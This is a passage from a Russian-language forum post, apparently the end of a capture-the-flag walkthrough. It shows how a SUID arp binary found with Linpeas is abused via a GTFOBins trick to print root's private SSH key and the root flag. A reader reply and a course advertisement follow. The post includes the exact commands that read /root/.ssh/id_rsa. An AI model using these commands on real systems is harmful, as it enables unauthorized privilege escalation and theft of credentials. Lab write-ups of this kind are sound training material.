Выполнив разведку через Linpeas, мы можем найти зависимости SUID в arp.
Дальше найдем arp в GTFOBins и выведем id_rsa рута:

LFILE=/root/.ssh/id_rsa

Сделаем локальную переменную LFILE равной ssh ключу рута.

/usr/sbin/arp -v -f "$LFILE"

И выведем её.

Посмотреть вложение 57140

Вывод ключа конечно не очень красивый, но подретактировав его, мы получаем полноценный id_rsa файл!
И чтобы не томить вас этим не очень веселым редактированием ключа, давайте просто выведем флаг рута!

Посмотреть вложение 57141

Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду;)
Это высший класс
 
  • Нравится
Реакции: QuietMoth1
Мы в соцсетях:

1 августа стартует курс «Основы программирования на Python» от команды The Codeby

Курс будет начинаться с полного нуля, то есть начальные знания по Python не нужны. Длительность обучения 2 месяца. Учащиеся получат методички, видео лекции и домашние задания. Много практики. Постоянная обратная связь с кураторами, которые помогут с решением возникших проблем.

Запись на курс до 10 августа. Подробнее ...